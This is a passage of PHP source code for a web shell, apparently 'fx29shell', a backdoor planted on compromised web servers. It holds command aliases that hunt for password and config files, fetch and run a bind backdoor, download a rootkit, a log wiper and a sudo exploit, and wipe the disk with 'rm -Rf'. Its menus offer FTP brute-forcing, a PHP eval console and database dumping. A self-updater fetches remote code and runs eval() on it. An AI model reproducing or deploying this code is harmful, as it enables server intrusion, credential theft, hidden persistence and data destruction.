array("\.zip$",1,"<font color=#C082FF>","</font>"),
|
||
|
||
array("\.rar$",1,"<font color=#C082FF>","</font>"),
|
||
|
||
array("\.php$",1,"<font color=#00FF00>","</font>"),
|
||
|
||
array("\.php3$",1,"<font color=#00FF00>","</font>"),
|
||
|
||
array("\.php4$",1,"<font color=#00FF00>","</font>"),
|
||
|
||
array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
|
||
|
||
array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
|
||
|
||
array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
|
||
|
||
array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
|
||
|
||
array("\.ico$",1,"<font color=#00FFFF>","</font>"),
|
||
|
||
array("\.gif$",1,"<font color=#00FFFF>","</font>"),
|
||
|
||
array("\.png$",1,"<font color=#00FFFF>","</font>"),
|
||
|
||
array("\.htm$",1,"<font color=#00CCFF>","</font>"),
|
||
|
||
array("\.html$",1,"<font color=#00CCFF>","</font>"),
|
||
|
||
array("\.txt$",1,"<font color=#C0C0C0>","</font>")
|
||
|
||
);
|
||
|
||
//Command Aliases
|
||
|
||
if (!$win) {
|
||
|
||
$cmdaliases = array(
|
||
|
||
array("", "ls -al"),
|
||
|
||
array("Find all suid files", "find / -type f -perm -04000 -ls"),
|
||
|
||
array("Find suid files in current dir", "find . -type f -perm -04000
|
||
-ls"),
|
||
|
||
array("Find all sgid files", "find / -type f -perm -02000 -ls"),
|
||
|
||
array("Find sgid files in current dir", "find . -type f -perm -02000
|
||
-ls"),
|
||
|
||
array("Find config.inc.php files", "find / -type f -name
|
||
config.inc.php"),
|
||
|
||
array("Find config* files", "find / -type f -name \"config*\""),
|
||
|
||
array("Find config* files in current dir", "find . -type f -name \
|
||
"config*\""),
|
||
|
||
array("Find all writable folders and files", "find / -perm -2 -ls"),
|
||
|
||
array("Find all writable folders and files in current dir", "find .
|
||
-perm -2 -ls"),
|
||
|
||
array("Find all writable folders", "find / -type d -perm -2 -ls"),
|
||
|
||
array("Find all writable folders in current dir", "find . -type d
|
||
-perm -2 -ls"),
|
||
|
||
array("Find all service.pwd files", "find / -type f -name
|
||
service.pwd"),
|
||
|
||
array("Find service.pwd files in current dir", "find . -type f -name
|
||
service.pwd"),
|
||
|
||
array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
|
||
|
||
array("Find .htpasswd files in current dir", "find . -type f -name
|
||
.htpasswd"),
|
||
|
||
array("Find all .bash_history files", "find / -type f -name
|
||
.bash_history"),
|
||
|
||
array("Find .bash_history files in current dir", "find . -type f
|
||
-name .bash_history"),
|
||
|
||
array("Find all .fetchmailrc files", "find / -type f -name
|
||
.fetchmailrc"),
|
||
|
||
array("Find .fetchmailrc files in current dir", "find . -type f -name
|
||
.fetchmailrc"),
|
||
|
||
array("List file attributes on a Linux second extended file system",
|
||
"lsattr -va"),
|
||
|
||
array("Show opened ports", "netstat -an | grep -i listen")
|
||
|
||
);
|
||
|
||
$cmdaliases2 = array(
|
||
|
||
array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf
|
||
fx.tgz"),
|
||
|
||
array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf
|
||
fxb.tgz"),
|
||
|
||
array("-----",""),
|
||
|
||
array("Logged in users","w"),
|
||
|
||
array("Last to connect","lastlog"),
|
||
|
||
array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/
|
||
sbin /usr/local/sbin -perm -4000 2> /dev/null"),
|
||
|
||
array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep
|
||
::"),
|
||
|
||
array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/
|
||
null"),
|
||
|
||
array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
|
||
|
||
array("CPU Info","cat /proc/version /proc/cpuinfo"),
|
||
|
||
array("Is gcc installed ?","locate gcc"),
|
||
|
||
array("Format box (DANGEROUS)","rm -Rf"),
|
||
|
||
array("-----",""),
|
||
|
||
array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/
|
||
UNIX/penetration/log-wipers/zap2.c"),
|
||
|
||
array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
|
||
|
||
array("Run WIPELOGS PT3","./zap2"),
|
||
|
||
array("-----",""),
|
||
|
||
array("wget RatHole 1.2 (Linux & BSD)","wget http://
|
||
packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
|
||
|
||
array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf
|
||
bind.tgz;./4877"),
|
||
|
||
array("wget Sudo Exploit","wget http://www.securityfocus.com/data/
|
||
vulnerabilities/exploits/sudo-exploit.c"),
|
||
|
||
);
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$cmdaliases = array(
|
||
|
||
array("", "dir"),
|
||
|
||
array("Find index.php in current dir", "dir /s /w /b index.php"),
|
||
|
||
array("Find *config*.php in current dir", "dir /s /w /b
|
||
*config*.php"),
|
||
|
||
array("Find c99shell in current dir", "find /c \"c99\" *"),
|
||
|
||
array("Find r57shell in current dir", "find /c \"r57\" *"),
|
||
|
||
array("Find fx29shell in current dir", "find /c \"fx29\" *"),
|
||
|
||
array("Show active connections", "netstat -an"),
|
||
|
||
array("Show running services", "net start"),
|
||
|
||
array("User accounts", "net user"),
|
||
|
||
array("Show computers", "net view"),
|
||
|
||
);
|
||
|
||
}
|
||
|
||
//PHP Filesystem Functions, FaTaLisTiCz_Fx TriCkz
|
||
|
||
$phpfsaliases = array(
|
||
|
||
array("Read File", "read"),
|
||
|
||
array("Write File (PHP5)", "write"),
|
||
|
||
array("Copy", "copy"),
|
||
|
||
array("Rename/Move", "rename"),
|
||
|
||
array("Delete", "delete"),
|
||
|
||
array("Make Dir","mkdir"),
|
||
|
||
array("-----", ""),
|
||
|
||
array("Download", "download"),
|
||
|
||
array("Download (Binary Safe)", "downloadbin"),
|
||
|
||
array("Change Perm (0755)", "chmod"),
|
||
|
||
array("Find Writable Dir", "fwritabledir"),
|
||
|
||
array("Find Pathname Pattern", "glob"),
|
||
|
||
);
|
||
|
||
|
||
|
||
//Quick launch
|
||
|
||
$quicklaunch1 = array(
|
||
|
||
array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0
|
||
\">",$surl),
|
||
|
||
array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0
|
||
\">","#\" onclick=\"history.back(1)"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\"
|
||
border=\"0\">","#\" onclick=\"history.go(1)"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">
|
||
",$surl."act=ls&d=%upd&sort=%sort"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border
|
||
=\"0\">",$surl."act=search&d=%d"),
|
||
|
||
array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border
|
||
=\"0\">",$surl."act=fsbuff&d=%d")
|
||
|
||
);
|
||
|
||
$quicklaunch2 = array(
|
||
|
||
array("Security Info",$surl."act=security&d=%d"),
|
||
|
||
array("Processes",$surl."act=processes&d=%d"),
|
||
|
||
array("MySQL",$surl."act=sql&d=%d"),
|
||
|
||
array("PHP-Code",$surl."act=eval&d=%d"),
|
||
|
||
array("Encoder",$surl."act=encoder&d=%d"),
|
||
|
||
array("Mailer",$surl."act=fxmailer"),
|
||
|
||
array("milw0rm it!",$millink),
|
||
|
||
array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
|
||
|
||
array("Toolz",$surl."act=tools&d=%d"),
|
||
|
||
array("Kill-Shell",$surl."act=selfremove"),
|
||
|
||
array("Feedback",$surl."act=feedback"),
|
||
|
||
array("Update",$surl."act=update"),
|
||
|
||
array("About",$surl."act=about")
|
||
|
||
);
|
||
|
||
|
||
|
||
if (!$win) {
|
||
|
||
$quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=
|
||
%d");
|
||
|
||
}
|
||
|
||
|
||
|
||
//Highlight-code colors
|
||
|
||
$highlight_background = "#C0C0C0";
|
||
|
||
$highlight_bg = "#FFFFFF";
|
||
|
||
$highlight_comment = "#6A6A6A";
|
||
|
||
$highlight_default = "#0000BB";
|
||
|
||
$highlight_html = "#1300FF";
|
||
|
||
$highlight_keyword = "#007700";
|
||
|
||
$highlight_string = "#000000";
|
||
|
||
|
||
|
||
@$f = $_REQUEST["f"];
|
||
|
||
@extract($_REQUEST["fx29shcook"]);
|
||
|
||
/*** END OF CONFIGURATIONS ***/
|
||
|
||
@set_time_limit(0);
|
||
|
||
$tmp = array();
|
||
|
||
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\
|
||
*",".*",preg_quote($v)); }
|
||
|
||
$s = "!^(".implode("|",$tmp).")$!i";
|
||
|
||
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match
|
||
($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
|
||
|
||
exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host
|
||
(".getenv("REMOTE_ADDR").") not allowed");
|
||
|
||
}
|
||
|
||
if (!empty($login)) {
|
||
|
||
if (empty($md5_pass)) {$md5_pass = md5($pass);}
|
||
|
||
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER
|
||
["PHP_AUTH_PW"]) != $md5_pass)) {
|
||
|
||
header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\
|
||
"");
|
||
|
||
header("HTTP/1.0 401 Unauthorized");
|
||
|
||
exit($accessdeniedmess);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act != "img") {
|
||
|
||
$lastdir = realpath(".");
|
||
|
||
chdir($curdir);
|
||
|
||
if ($selfwrite or $updatenow) {
|
||
|
||
@ob_clean();
|
||
|
||
fx29sh_getupdate($selfwrite,1);
|
||
|
||
exit;
|
||
|
||
}
|
||
|
||
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
|
||
|
||
if (!is_array($sess_data)) {$sess_data = array();}
|
||
|
||
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
|
||
|
||
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
|
||
|
||
if (!function_exists("fx29getsource")) {
|
||
|
||
function fx29getsource($fn) {
|
||
|
||
global $fx29sh_sourcesurl;
|
||
|
||
$array = array(
|
||
|
||
"fx29sh.php" => "fx29sh.txt",
|
||
|
||
);
|
||
|
||
$name = $array[$fn];
|
||
|
||
if ($name) {return file_get_contents($fx29sh_sourcesurl.$name);}
|
||
|
||
else {return FALSE;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fx29sh_getupdate")) {
|
||
|
||
function fx29sh_getupdate($update = TRUE) {
|
||
|
||
$url = $GLOBALS["fx29sh_updateurl"]."?version=".urlencode
|
||
(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
|
||
|
||
$data = @file_get_contents($url);
|
||
|
||
if (!$data) {return "Can't connect to update-server!";}
|
||
|
||
else {
|
||
|
||
$data = ltrim($data);
|
||
|
||
$string = substr($data,3,ord($data{2}));
|
||
|
||
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error:
|
||
".$string; return FALSE;}
|
||
|
||
if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are
|
||
using latest version!";}
|
||
|
||
if ($data{0} == "\x99" and $data{1} == "\x03") {
|
||
|
||
$string = explode("|",$string);
|
||
|
||
if ($update) {
|
||
|
||
$confvars = array();
|
||
|
||
$sourceurl = $string[0];
|
||
|
||
$source = file_get_contents($sourceurl);
|
||
|
||
if (!$source) {return "Can't fetch update!";}
|
||
|
||
else {
|
||
|
||
$fp = fopen(__FILE__,"w");
|
||
|
||
if (!$fp) {return "Local error: can't write update to
|
||
".__FILE__."! You may download fx29shell.php manually <a href=\
|
||
"".$sourceurl."\"><u>here</u></a>.";}
|
||
|
||
else {
|
||
|
||
fwrite($fp,$source);
|
||
|
||
fclose($fp);
|
||
|
||
return "Update completed!";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {return "New version are available: ".$string[1];}
|
||
|
||
}
|
||
|
||
elseif ($data{0} == "\x99" and $data{1} == "\x04") {
|
||
|
||
eval($string);
|
||
|
||
return 1;
|
||
|
||
}
|
||
|
||
else {return "Error in protocol: segmentation failed! (".$data.")
|
||
";}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fx29_buff_prepare")) {
|
||
|
||
function fx29_buff_prepare() {
|
||
|
||
global $sess_data;
|
||
|
||
global $act;
|
||
|
||
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] =
|
||
str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
|
||
|
||
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] =
|
||
str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
|
||
|
||
$sess_data["copy"] = array_unique($sess_data["copy"]);
|
||
|
||
$sess_data["cut"] = array_unique($sess_data["cut"]);
|
||
|
||
sort($sess_data["copy"]);
|
||
|
||
sort($sess_data["cut"]);
|
||
|
||
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if
|
||
($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
|
||
|
||
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"]
|
||
[$k] == $v) {unset($sess_data["cut"][$k]);}}}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
fx29_buff_prepare();
|
||
|
||
if (!function_exists("fx29_sess_put")) {
|
||
|
||
function fx29_sess_put($data) {
|
||
|
||
global $sess_cookie;
|
||
|
||
global $sess_data;
|
||
|
||
fx29_buff_prepare();
|
||
|
||
$sess_data = $data;
|
||
|
||
$data = serialize($data);
|
||
|
||
setcookie($sess_cookie,$data);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
foreach (array("sort","sql_sort") as $v) {
|
||
|
||
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
|
||
|
||
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
|
||
|
||
}
|
||
|
||
if ($sort_save) {
|
||
|
||
if (!empty($sort)) {setcookie("sort",$sort);}
|
||
|
||
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
|
||
|
||
}
|
||
|
||
if (!function_exists("str2mini")) {
|
||
|
||
function str2mini($content,$len) {
|
||
|
||
if (strlen($content) > $len) {
|
||
|
||
$len = ceil($len/2) - 2;
|
||
|
||
return substr($content, 0,$len)."...".substr($content,-$len);
|
||
|
||
} else {return $content;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("view_size")) {
|
||
|
||
function view_size($size) {
|
||
|
||
if (!is_numeric($size)) { return FALSE; }
|
||
|
||
else {
|
||
|
||
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100
|
||
." GB";}
|
||
|
||
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100
|
||
." MB";}
|
||
|
||
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ."
|
||
KB";}
|
||
|
||
else {$size = $size . " B";}
|
||
|
||
return $size;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fs_copy_dir")) {
|
||
|
||
function fs_copy_dir($d,$t) {
|
||
|
||
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
|
||
|
||
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
$h = opendir($d);
|
||
|
||
while (($o = readdir($h)) !== FALSE) {
|
||
|
||
if (($o != ".") and ($o != "..")) {
|
||
|
||
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy
|
||
($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
|
||
|
||
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir
|
||
($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
|
||
|
||
if (!$ret) {return $ret;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
closedir($h);
|
||
|
||
return TRUE;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fs_copy_obj")) {
|
||
|
||
function fs_copy_obj($d,$t) {
|
||
|
||
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
|
||
|
||
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
|
||
|
||
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
|
||
|
||
if (is_dir($d)) {
|
||
|
||
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
return fs_copy_dir($d,$t);
|
||
|
||
}
|
||
|
||
elseif (is_file($d)) { return copy($d,$t); }
|
||
|
||
else { return FALSE; }
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fs_move_dir")) {
|
||
|
||
function fs_move_dir($d,$t) {
|
||
|
||
$h = opendir($d);
|
||
|
||
if (!is_dir($t)) {mkdir($t);}
|
||
|
||
while (($o = readdir($h)) !== FALSE) {
|
||
|
||
if (($o != ".") and ($o != "..")) {
|
||
|
||
$ret = TRUE;
|
||
|
||
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy
|
||
($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
|
||
|
||
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir
|
||
($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
|
||
|
||
if (!$ret) {return $ret;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
closedir($h);
|
||
|
||
return TRUE;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fs_move_obj")) {
|
||
|
||
function fs_move_obj($d,$t) {
|
||
|
||
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
|
||
|
||
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
|
||
|
||
if (is_dir($d)) {
|
||
|
||
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
return fs_move_dir($d,$t);
|
||
|
||
}
|
||
|
||
elseif (is_file($d)) {
|
||
|
||
if(copy($d,$t)) {return unlink($d);}
|
||
|
||
else {unlink($t); return FALSE;}
|
||
|
||
}
|
||
|
||
else {return FALSE;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fs_rmdir")) {
|
||
|
||
function fs_rmdir($d) {
|
||
|
||
$h = opendir($d);
|
||
|
||
while (($o = readdir($h)) !== FALSE) {
|
||
|
||
if (($o != ".") and ($o != "..")) {
|
||
|
||
if (!is_dir($d.$o)) {unlink($d.$o);}
|
||
|
||
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
closedir($h);
|
||
|
||
rmdir($d);
|
||
|
||
return !is_dir($d);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("fs_rmobj")) {
|
||
|
||
function fs_rmobj($o) {
|
||
|
||
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
|
||
|
||
if (is_dir($o)) {
|
||
|
||
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
return fs_rmdir($o);
|
||
|
||
}
|
||
|
||
elseif (is_file($o)) {return unlink($o);}
|
||
|
||
else {return FALSE;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("tabsort")) {
|
||
|
||
function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b
|
||
[$v]);}
|
||
|
||
}
|
||
|
||
if (!function_exists("view_perms")) {
|
||
|
||
function view_perms($mode) {
|
||
|
||
if (($mode & 0xC000) === 0xC000) {$type = "s";}
|
||
|
||
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
|
||
|
||
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
|
||
|
||
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
|
||
|
||
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
|
||
|
||
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
|
||
|
||
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
|
||
|
||
else {$type = "?";}
|
||
|
||
$owner["read"] = ($mode & 00400)?"r":"-";
|
||
|
||
$owner["write"] = ($mode & 00200)?"w":"-";
|
||
|
||
$owner["execute"] = ($mode & 00100)?"x":"-";
|
||
|
||
$group["read"] = ($mode & 00040)?"r":"-";
|
||
|
||
$group["write"] = ($mode & 00020)?"w":"-";
|
||
|
||
$group["execute"] = ($mode & 00010)?"x":"-";
|
||
|
||
$world["read"] = ($mode & 00004)?"r":"-";
|
||
|
||
$world["write"] = ($mode & 00002)? "w":"-";
|
||
|
||
$world["execute"] = ($mode & 00001)?"x":"-";
|
||
|
||
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?
|
||
"s":"S";}
|
||
|
||
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?
|
||
"s":"S";}
|
||
|
||
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?
|
||
"t":"T";}
|
||
|
||
return $type.join("",$owner).join("",$group).join("",$world);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("posix_getpwuid") and !in_array
|
||
("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return
|
||
FALSE;}}
|
||
|
||
if (!function_exists("posix_getgrgid") and !in_array
|
||
("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return
|
||
FALSE;}}
|
||
|
||
if (!function_exists("posix_kill") and !in_array
|
||
("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
|
||
|
||
if (!function_exists("parse_perms")) {
|
||
|
||
function parse_perms($mode) {
|
||
|
||
if (($mode & 0xC000) === 0xC000) {$t = "s";}
|
||
|
||
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
|
||
|
||
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
|
||
|
||
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
|
||
|
||
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
|
||
|
||
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
|
||
|
||
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
|
||
|
||
else {$t = "?";}
|
||
|
||
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o
|
||
["x"] = ($mode & 00100) > 0;
|
||
|
||
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g
|
||
["x"] = ($mode & 00010) > 0;
|
||
|
||
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w
|
||
["x"] = ($mode & 00001) > 0;
|
||
|
||
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("parsesort")) {
|
||
|
||
function parsesort($sort) {
|
||
|
||
$one = intval($sort);
|
||
|
||
$second = substr($sort,-1);
|
||
|
||
if ($second != "d") {$second = "a";}
|
||
|
||
return array($one,$second);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("view_perms_color")) {
|
||
|
||
function view_perms_color($o) {
|
||
|
||
if (!is_readable($o)) {return "<font color=red>".view_perms
|
||
(fileperms($o))."</font>";}
|
||
|
||
elseif (!is_writable($o)) {return "<font color=white>".view_perms
|
||
(fileperms($o))."</font>";}
|
||
|
||
else {return "<font color=green>".view_perms(fileperms($o))."</
|
||
font>";}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("mysql_dump")) {
|
||
|
||
function mysql_dump($set) {
|
||
|
||
global $sh_ver;
|
||
|
||
$sock = $set["sock"];
|
||
|
||
$db = $set["db"];
|
||
|
||
$print = $set["print"];
|
||
|
||
$nl2br = $set["nl2br"];
|
||
|
||
$file = $set["file"];
|
||
|
||
$add_drop = $set["add_drop"];
|
||
|
||
$tabs = $set["tabs"];
|
||
|
||
$onlytabs = $set["onlytabs"];
|
||
|
||
$ret = array();
|
||
|
||
$ret["err"] = array();
|
||
|
||
if (!is_resource($sock)) {echo("Error: \$sock is not valid
|
||
resource.");}
|
||
|
||
if (empty($db)) {$db = "db";}
|
||
|
||
if (empty($print)) {$print = 0;}
|
||
|
||
if (empty($nl2br)) {$nl2br = 0;}
|
||
|
||
if (empty($add_drop)) {$add_drop = TRUE;}
|
||
|
||
if (empty($file)) {
|
||
|
||
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date
|
||
("d-m-Y-H-i-s").".sql";
|
||
|
||
}
|
||
|
||
if (!is_array($tabs)) {$tabs = array();}
|
||
|
||
if (empty($add_drop)) {$add_drop = TRUE;}
|
||
|
||
if (sizeof($tabs) == 0) {
|
||
|
||
//Retrieve tables-list
|
||
|
||
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
|
||
|
||
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row
|
||
($res)) {$tabs[] = $row[0];}}
|
||
|
||
}
|
||
|
||
$out = "
|
||
|
||
# Dumped by ".$sh_name."
|
||
|
||
#
|
||
|
||
# Host settings:
|
||
|
||
# MySQL version: (".mysql_get_server_info().") running on ".getenv
|
||
("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
|
||
|
||
# Date: ".date("d.m.Y H:i:s")."
|
||
|
||
# DB: \"".$db."\"
|
||
|
||
#---------------------------------------------------------";
|
||
|
||
$c = count($onlytabs);
|
||
|
||
foreach($tabs as $tab) {
|
||
|
||
if ((in_array($tab,$onlytabs)) or (!$c)) {
|
||
|
||
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
|
||
|
||
//Receieve query for create table structure
|
||
|
||
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
|
||
|
||
if (!$res) {$ret["err"][] = mysql_smarterror();}
|
||
|
||
else {
|
||
|
||
$row = mysql_fetch_row($res);
|
||
|
||
$out .= $row["1"].";\n\n";
|
||
|
||
//Receieve table variables
|
||
|
||
$res = mysql_query("SELECT * FROM `$tab`", $sock);
|
||
|
||
if (mysql_num_rows($res) > 0) {
|
||
|
||
while ($row = mysql_fetch_assoc($res)) {
|
||
|
||
$keys = implode("`, `", array_keys($row));
|
||
|
||
$values = array_values($row);
|
||
|
||
foreach($values as $k=>$v) {$values[$k] = addslashes
|
||
($v);}
|
||
|
||
$values = implode("', '", $values);
|
||
|
||
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES
|
||
('".$values."');\n";
|
||
|
||
$out .= $sql;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
$out .= "#
|
||
---------------------------------------------------------------------------------
|
||
\n\n";
|
||
|
||
if ($file) {
|
||
|
||
$fp = fopen($file, "w");
|
||
|
||
if (!$fp) {$ret["err"][] = 2;}
|
||
|
||
else {
|
||
|
||
fwrite ($fp, $out);
|
||
|
||
fclose ($fp);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
|
||
|
||
return $out;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("mysql_buildwhere")) {
|
||
|
||
function mysql_buildwhere($array,$sep=" and",$functs=array()) {
|
||
|
||
if (!is_array($array)) {$array = array();}
|
||
|
||
$result = "";
|
||
|
||
foreach($array as $k=>$v) {
|
||
|
||
$value = "";
|
||
|
||
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
|
||
|
||
$value .= "'".addslashes($v)."'";
|
||
|
||
if (!empty($functs[$k])) {$value .= ")";}
|
||
|
||
$result .= "`".$k."` = ".$value.$sep;
|
||
|
||
}
|
||
|
||
$result = substr($result,0,strlen($result)-strlen($sep));
|
||
|
||
return $result;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("mysql_fetch_all")) {
|
||
|
||
function mysql_fetch_all($query,$sock) {
|
||
|
||
if ($sock) {$result = mysql_query($query,$sock);}
|
||
|
||
else {$result = mysql_query($query);}
|
||
|
||
$array = array();
|
||
|
||
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
|
||
|
||
mysql_free_result($result);
|
||
|
||
return $array;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("mysql_smarterror")) {
|
||
|
||
function mysql_smarterror($type,$sock) {
|
||
|
||
if ($sock) {$error = mysql_error($sock);}
|
||
|
||
else {$error = mysql_error();}
|
||
|
||
$error = htmlspecialchars($error);
|
||
|
||
return $error;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!function_exists("mysql_query_form")) {
|
||
|
||
function mysql_query_form() {
|
||
|
||
global
|
||
$submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
|
||
|
||
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!
|
||
